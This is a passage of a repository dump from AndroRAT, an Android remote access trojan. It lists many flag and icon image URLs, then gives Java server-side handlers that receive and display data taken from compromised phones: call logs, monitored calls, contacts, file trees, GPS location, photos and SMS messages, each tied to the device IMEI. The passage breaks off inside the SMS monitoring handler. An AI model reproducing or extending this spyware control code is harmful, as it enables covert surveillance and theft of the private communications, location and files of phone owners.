https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SK.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SL.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ST.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ST.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SV.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SV.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/SZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/SZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TC.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TD.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TD.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TH.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TH.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TJ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TJ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TL.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TL.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TO.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TO.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TR.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TT.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TT.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TV.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TV.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/TZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/TZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Togo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Togo.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Tonga.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Tonga.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Turks and Caicos Islands.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Turks and Caicos Islands.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Tuvalu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Tuvalu.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/UA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/UA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/UG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/UG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/US.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/US.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/UY.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/UY.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/UZ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/UZ.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/VC.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/VC.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/VE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/VE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/VG.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/VG.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/VI.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/VI.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/VN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/VN.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/VU.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/VU.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Venezuela.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Venezuela.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/WS.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/WS.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/Wales.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/Wales.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/YE.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/YE.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ZA.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ZA.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ZM.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ZM.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/ZW.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/ZW.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Drapeau/default.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Drapeau/default.jpeg
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/Jesus.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/Jesus.jpeg
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/People.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/People.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/androrat_logo_32pix.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/androrat_logo_32pix.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/disable-sound.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/disable-sound.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/disableSound.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/disableSound.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/edit_add.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/edit_add.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/edit_remove.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/edit_remove.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/enableSound.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/enableSound.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/gtk-media-pause.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/gtk-media-pause.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/gtk-media-play-ltr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/gtk-media-play-ltr.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/gtk-media-record.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/gtk-media-record.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/gtk-media-stop.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/gtk-media-stop.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/note.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/note.bmp
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/play.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/play.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/sound.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/sound.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/stop.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/stop.jpg
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/stop.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/stop.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/gui/res/stop2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/DesignativeDave/androrat/df30f108bb53a76d55ee4cee33877aef798c9549/src/AndroratServer/src/gui/res/stop2.png
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/AdvInfoHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import server.Server;
4 | import Packet.AdvancedInformationPacket;
5 | import Packet.Packet;
6 | import gui.GUI;
7 |
8 | public class AdvInfoHandler implements PacketHandler {
9 |
10 | private GUI gui;
11 | private int channel;
12 | private String imei;
13 |
14 | public AdvInfoHandler(int chan, String imei, GUI gui) {
15 | channel = chan;
16 | this.imei = imei;
17 | this.gui = gui;
18 | }
19 |
20 | @Override
21 | public void receive(Packet p, String imei) {
22 | // TODO Auto-generated method stub
23 | }
24 |
25 | @Override
26 | public void handlePacket(Packet p, String temp_imei, Server c) {
27 | gui.logTxt("Information data has been received");
28 | c.getChannelHandlerMap().get(imei).removeListener(channel);
29 | AdvancedInformationPacket packet = (AdvancedInformationPacket) p;
30 | gui.updateAdvInformations(imei, packet);
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/CallLogHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import server.Server;
4 | import Packet.CallLogPacket;
5 | import Packet.Packet;
6 | import Packet.RawPacket;
7 | import gui.GUI;
8 |
9 | public class CallLogHandler implements PacketHandler {
10 |
11 | private GUI gui;
12 | private int channel;
13 | private String imei;
14 |
15 | public CallLogHandler(int chan, String imei, GUI gui) {
16 | channel = chan;
17 | this.imei = imei;
18 | this.gui = gui;
19 | }
20 |
21 | @Override
22 | public void receive(Packet p, String imei) {
23 | // TODO Auto-generated method stub
24 | }
25 |
26 | @Override
27 | public void handlePacket(Packet p, String temp_imei, Server c) {
28 | gui.logTxt("Call log data has been received");
29 | c.getChannelHandlerMap().get(imei).removeListener(channel);
30 | CallLogPacket packet = (CallLogPacket) p;
31 | gui.updateUserCallLogs(imei, packet.getList());
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/CallMonitorHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import gui.GUI;
4 | import server.Server;
5 | import Packet.CallStatusPacket;
6 | import Packet.Packet;
7 | import Packet.RawPacket;
8 |
9 | public class CallMonitorHandler implements PacketHandler {
10 |
11 | private GUI gui;
12 | private int channel;
13 | private String imei;
14 |
15 | public CallMonitorHandler(int channel, String imei, GUI gui) {
16 | this.gui = gui;
17 | this.channel = channel;
18 | this.imei = imei;
19 | }
20 |
21 | @Override
22 | public void receive(Packet p, String imei) {
23 | // TODO Auto-generated method stub
24 |
25 | }
26 |
27 | @Override
28 | public void handlePacket(Packet p, String temp_imei, Server c) {
29 | gui.logTxt("Call monitoring data has been received");
30 | c.getChannelHandlerMap().get(imei).getStorage(channel).reset();
31 | CallStatusPacket packet = (CallStatusPacket) p;
32 | gui.addMonitoredCall(imei, packet.getType(), packet.getPhonenumber());
33 | }
34 |
35 | }
36 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/ClientLogHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import server.Server;
4 | import Packet.LogPacket;
5 | import Packet.Packet;
6 | import gui.GUI;
7 |
8 | public class ClientLogHandler implements PacketHandler {
9 |
10 | private GUI gui;
11 | private int channel;
12 | private String imei;
13 |
14 | public ClientLogHandler(int channel, String imei, GUI gui) {
15 | this.gui = gui;
16 | this.channel = channel;
17 | this.imei = imei;
18 | }
19 |
20 | @Override
21 | public void receive(Packet p, String imei) {
22 | // TODO Auto-generated method stub
23 |
24 | }
25 |
26 | @Override
27 | public void handlePacket(Packet p, String temp_imei, Server c) {
28 | c.getChannelHandlerMap().get(imei).getStorage(channel).reset();
29 | LogPacket packet = (LogPacket) p;
30 | if(packet.getType() == 0) gui.clientLogTxt(imei, packet.getDate(), packet.getMessage());
31 | else gui.clientErrLogTxt(imei, packet.getDate(), packet.getMessage());
32 | }
33 |
34 | }
35 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/ContactsHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import server.Server;
4 | import Packet.ContactsPacket;
5 | import Packet.Packet;
6 | import gui.GUI;
7 |
8 | public class ContactsHandler implements PacketHandler {
9 |
10 | private GUI gui;
11 | private int channel;
12 | private String imei;
13 |
14 | public ContactsHandler(int chan, String imei, GUI gui) {
15 | channel = chan;
16 | this.imei = imei;
17 | this.gui = gui;
18 | }
19 |
20 | @Override
21 | public void receive(Packet p, String imei) {
22 | // TODO Auto-generated method stub
23 | }
24 |
25 | @Override
26 | public void handlePacket(Packet p, String temp_imei, Server c) {
27 | gui.logTxt("Contacts data has been received");
28 | c.getChannelHandlerMap().get(imei).removeListener(channel);
29 | ContactsPacket packet = (ContactsPacket) p;
30 | gui.updateContacts(imei, packet.getList());
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/FileTreeHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import java.io.File;
4 | import java.io.FileOutputStream;
5 | import java.io.ObjectOutputStream;
6 |
7 | import server.Server;
8 | import Packet.FileTreePacket;
9 | import Packet.Packet;
10 | import gui.GUI;
11 |
12 | public class FileTreeHandler implements PacketHandler {
13 |
14 | private GUI gui;
15 | private int channel;
16 | private String imei;
17 |
18 | public FileTreeHandler(int chan, String imei, GUI gui) {
19 | channel = chan;
20 | this.imei = imei;
21 | this.gui = gui;
22 | }
23 |
24 | @Override
25 | public void receive(Packet p, String imei) {
26 | // TODO Auto-generated method stub
27 | }
28 |
29 | @Override
30 | public void handlePacket(Packet p, String temp_imei, Server c) {
31 | gui.logTxt("File tree data has been received");
32 | c.getChannelHandlerMap().get(imei).removeListener(channel);
33 | FileTreePacket packet = (FileTreePacket) p;
34 | /*try{
35 | FileOutputStream fout = new FileOutputStream(new File("list.txt"));
36 | ObjectOutputStream out = new ObjectOutputStream(fout);
37 | out.writeObject(packet.getList());
38 | out.close();
39 | } catch(Exception e){}*/
40 | gui.updateFileTree(imei, packet.getList());
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/GPSHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import gui.GUI;
4 | import server.Server;
5 |
6 | import Packet.GPSPacket;
7 | import Packet.Packet;
8 |
9 | public class GPSHandler implements PacketHandler
10 | {
11 |
12 | private GUI gui;
13 | private int channel;
14 | private String imei;
15 |
16 | public GPSHandler(int chan, String imei, GUI gui) {
17 | channel = chan;
18 | this.imei = imei;
19 | this.gui = gui;
20 | }
21 |
22 |
23 | @Override
24 | public void handlePacket(Packet p,String imei,Server c)
25 | {
26 | gui.logTxt("GPS data has been received");
27 | c.getChannelHandlerMap().get(imei).getStorage(channel).reset(); // Voir si faut le mettre ailleurs !
28 |
29 | GPSPacket gps = (GPSPacket)p;
30 | gui.updateUserMap(imei, gps.getLongitude(), gps.getLatitude(), gps.getAltitude(), gps.getSpeed(), gps.getAccuracy());
31 |
32 | }
33 |
34 |
35 | @Override
36 | public void receive(Packet p, String temp_imei) {
37 | // TODO Auto-generated method stub
38 |
39 | }
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | }
51 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/PacketHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 |
4 | import server.Server;
5 | import inout.Controler;
6 | import Packet.Packet;
7 |
8 | public interface PacketHandler
9 | {
10 | public void receive(Packet p,String imei);
11 |
12 | public void handlePacket(Packet p, String temp_imei, Server c);
13 |
14 | }
15 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/PictureHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import server.Server;
4 | import Packet.Packet;
5 | import Packet.RawPacket;
6 | import gui.GUI;
7 |
8 | public class PictureHandler implements PacketHandler {
9 |
10 | private GUI gui;
11 | private int channel;
12 | private String imei;
13 |
14 | public PictureHandler(int chan, String imei, GUI gui) {
15 | channel = chan;
16 | this.imei = imei;
17 | this.gui = gui;
18 | }
19 |
20 | @Override
21 | public void receive(Packet p, String imei) {
22 | // TODO Auto-generated method stub
23 |
24 | }
25 |
26 | @Override
27 | public void handlePacket(Packet p, String imei, Server c)
28 | {
29 | gui.logTxt("Image data has been received");
30 | c.getChannelHandlerMap().get(imei).removeListener(channel);
31 | RawPacket packet = (RawPacket) p;
32 | gui.updateUserPicture(imei, packet.getData());
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/PreferenceHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import server.Server;
4 | import Packet.Packet;
5 | import Packet.PreferencePacket;
6 | import gui.GUI;
7 |
8 | public class PreferenceHandler implements PacketHandler {
9 |
10 | private GUI gui;
11 | private int channel;
12 | private String imei;
13 |
14 | public PreferenceHandler(int chan, String imei, GUI gui) {
15 | channel = chan;
16 | this.imei = imei;
17 | this.gui = gui;
18 | }
19 |
20 | @Override
21 | public void receive(Packet p, String imei) {
22 | // TODO Auto-generated method stub
23 | }
24 |
25 | @Override
26 | public void handlePacket(Packet p, String temp_imei, Server c) {
27 | gui.logTxt("Preference data has been received");
28 | c.getChannelHandlerMap().get(imei).removeListener(channel);
29 | PreferencePacket packet = (PreferencePacket) p;
30 | gui.updatePreference(imei, packet.getIp(), packet.getPort(), packet.isWaitTrigger(), packet.getPhoneNumberCall(), packet.getPhoneNumberSMS(), packet.getKeywordSMS());
31 | }
32 |
33 | }
34 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/SMSHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import java.util.ArrayList;
4 |
5 | import server.Server;
6 | import Packet.Packet;
7 | import Packet.SMSPacket;
8 | import Packet.SMSTreePacket;
9 | import gui.GUI;
10 |
11 | public class SMSHandler implements PacketHandler {
12 |
13 | private GUI gui;
14 | private int channel;
15 | private String imei;
16 |
17 | public SMSHandler(int chan, String imei, GUI gui) {
18 | channel = chan;
19 | this.imei = imei;
20 | this.gui = gui;
21 | }
22 |
23 | @Override
24 | public void receive(Packet p, String imei) {
25 | // TODO Auto-generated method stub
26 | }
27 |
28 | @Override
29 | public void handlePacket(Packet p, String temp_imei, Server c) {
30 | gui.logTxt("SMS tree data has been received");
31 | c.getChannelHandlerMap().get(imei).removeListener(channel);
32 | SMSTreePacket packet = (SMSTreePacket) p;
33 | //ArrayList sms = new ArrayList();
34 | gui.updateSMS(imei, packet.getList());
35 | }
36 |
37 | }
38 |
--------------------------------------------------------------------------------
/src/AndroratServer/src/handler/SMSMonitorHandler.java:
--------------------------------------------------------------------------------
1 | package handler;
2 |
3 | import server.Server;
4 | import Packet.CallStatusPacket;
5 | import Packet.Packet;
6 | import Packet.ShortSMSPacket;
7 | import gui.GUI;
8 |
9 | public class SMSMonitorHandler implements PacketHandler {
10 |
11 | private GUI gui;
12 | private int channel;
13 | private String imei;
14 |
15 | public SMSMonitorHandler()
16 | {
17 |
18 | }
19 |
20 | public SMSMonitorHandler(int channel, String imei, GUI gui) {
21 | this.gui = gui;
22 | this.channel = channel;
23 | this.imei = imei;
24 | }
25 |
26 | @Override
27 | public void receive(Packet p, String imei) {
28 | // TODO Auto-generated method stub
29 | }
30 |
31 | @Override
32 | public void handlePacket(Packet p, String temp_imei, Server c) {
33 | gui.logTxt("SMS data has been received");
34 | c.getChannelHandlerMap().get(imei).getStorage(channel).reset();
35 | ShortSMSPacket packet = (ShortSMSPacket) p;
